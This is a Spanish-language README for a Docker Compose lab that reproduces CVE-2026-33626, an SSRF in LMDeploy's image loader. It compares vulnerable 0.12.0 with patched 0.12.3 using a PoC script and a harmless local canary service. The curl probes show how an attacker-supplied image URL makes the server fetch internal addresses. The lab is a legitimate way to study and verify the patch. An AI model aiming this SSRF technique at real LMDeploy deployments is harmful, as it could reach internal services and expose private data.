
Laboratorio de Docker Compose que reproduce la SSRF CVE-2026-33626 en el cargador de imágenes de visión-lenguaje de LMDeploy. Compara el comportamiento de la versión vulnerable (0.12.0) y la parcheada (0.12.3) con un script PoC y un servicio canario interno.
Este repositorio reproduce CVE-2026-33626, una vulnerabilidad de Server-Side Request Forgery (SSRF) en la ruta de carga de imágenes de vision-language de LMDeploy.
El comportamiento vulnerable ocurre cuando LMDeploy recibe una URL de imagen y el cargador de imágenes del servidor obtiene esa URL sin bloquear correctamente direcciones internas, privadas, loopback o link-local.
Este laboratorio compara:
| Servicio | Versión | Propósito |
|---|---|---|
vuln | LMDeploy 0.12.0 | Demuestra el comportamiento vulnerable |
patched | LMDeploy 0.12.3 | Demuestra el comportamiento parcheado |
internal | Servicio canario local | Simula un recurso solo interno dentro de la red Docker |
El laboratorio está diseñado para ejecutarse localmente con Docker Compose y no contacta puntos finales de metadatos en la nube ni objetivos externos.
LMDeploy admite flujos de trabajo de vision-language donde una imagen puede cargarse desde una URL proporcionada por el usuario. En versiones vulnerables, el código de carga de imágenes puede obtener URLs que se resuelven a direcciones de red internas/privadas.
Esto puede permitir que un atacante con acceso al punto final de LMDeploy haga que el servidor solicite recursos internos, como:
En este laboratorio, el objetivo interno es intencionalmente inofensivo:
http://internal:9000/private.png
La URL solo existe dentro de la red de Docker Compose.
Script PoC
|
| envía URL de imagen
v
Servicio vuln / patched
|
| llama a lmdeploy.vl.load_image(url)
v
Servicio canario interno
El laboratorio no ejecuta un servidor de inferencia VLM completo. En su lugar, aísla la primitiva vulnerable de carga de imágenes de LMDeploy llamando a:
from lmdeploy.vl import load_image
load_image(url)
Esto mantiene la reproducción ligera y determinista, mientras sigue demostrando el comportamiento de seguridad que fue parcheado.
.
├── docker-compose.yml
├── internal
│ ├── Dockerfile
│ └── server.py
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
├── vuln
│ └── Dockerfile
└── README.md
Dentro de la red Docker, el canario interno es accesible como:
http://internal:9000/private.png
En Apple Silicon, los servicios vuln y patched se ejecutan como linux/amd64 porque la rueda de LMDeploy utilizada en este laboratorio está orientada a x86_64.
Construye e inicia los servicios:
docker compose up -d --build
Verifica el estado de los contenedores:
docker compose ps
Estado esperado:
cve-2026-33626-internal Up
cve-2026-33626-vuln Up (healthy)
cve-2026-33626-patched Up (healthy)
curl -sS http://127.0.0.1:8081/version | jq
curl -sS http://127.0.0.1:8082/version | jq
curl -sS http://127.0.0.1:8090/hits | jq
Salida esperada:
{
"lmdeploy_version": "0.12.0",
"expected_role": "vulnerable"
}
{
"lmdeploy_version": "0.12.3",
"expected_role": "patched"
}
{
"hits": []
}
Crea un entorno virtual e instala las dependencias:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
Ejecuta el PoC:
python poc/poc.py
El objetivo SSRF predeterminado es:
http://internal:9000/private.png
Este objetivo es accesible desde los contenedores Docker, no desde internet público.
El servicio vulnerable debería obtener la imagen canario interna exitosamente:
{
"service": "vulnerable",
"probe_http_status": 200,
"probe_response": {
"ok": true,
"result": "lmdeploy.vl.load_image() fetched and decoded the URL",
"lmdeploy_version": "0.12.0"
},
"internal_hit_count": 1
}
Esto confirma que LMDeploy 0.12.0 realizó una solicitud del lado del servidor al servicio Docker interno.
El servicio parcheado debería bloquear la misma URL antes de que se alcance el servicio interno:
{
"service": "patched",
"probe_http_status": 400,
"probe_response": {
"ok": false,
"error_type": "ValueError",
"error": "URL is blocked for security reasons: Blocked non-global IP detected",
"lmdeploy_version": "0.12.3"
},
"internal_hit_count": 0
}
Esto confirma que LMDeploy 0.12.3 bloquea URLs que se resuelven a direcciones IP no globales/internas.
Resumen final esperado:
[+] Expected result confirmed:
vulnerable service fetched the internal canary
patched service blocked before reaching the internal canary
Reinicia el canario interno:
curl -sS -X POST http://127.0.0.1:8090/reset | jq
Prueba el servicio vulnerable:
curl -sS "http://127.0.0.1:8081/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq
Esperado: /hits contiene una solicitud.
Prueba el servicio parcheado:
curl -sS -X POST http://127.0.0.1:8090/reset | jq
curl -sS "http://127.0.0.1:8082/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq
Esperado: /hits permanece vacío.
El PoC no solicita el servicio interno directamente como atacante.
En su lugar, el PoC envía una URL interna a LMDeploy. Si LMDeploy obtiene esa URL desde dentro de la red del contenedor, el canario interno registra la solicitud.
Ese comportamiento demuestra la primitiva SSRF:
URL controlada por el atacante
↓
Cargador de imágenes del servidor LMDeploy
↓
Solicitud a recurso de red interno
La versión parcheada evita esto rechazando URLs que se resuelven a direcciones IP no globales.
docker compose down -v
Aviso de seguridad de GitHub: GHSA-6w67-hwm5-92mq https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq
NVD: CVE-2026-33626 https://nvd.nist.gov/vuln/detail/CVE-2026-33626
Commit del parche: 71d64a339edb901e9005358e0633fbbab367d626
https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626
Pull Request: #4447 https://github.com/InternLM/lmdeploy/pull/4447
Análisis de Sysdig https://www.sysdig.com/blog/cve-2026-33626-how-attackers-exploited-lmdeploy-llm-inference-engines-in-12-hours
| Servicio | URL del Host | Puerto del Contenedor | Descripción |
|---|
vuln | http://127.0.0.1:8081 | 8000 | Wrapper de LMDeploy 0.12.0 |
patched | http://127.0.0.1:8082 | 8000 | Wrapper de LMDeploy 0.12.3 |
internal | http://127.0.0.1:8090 | 9000 | Servicio canario interno |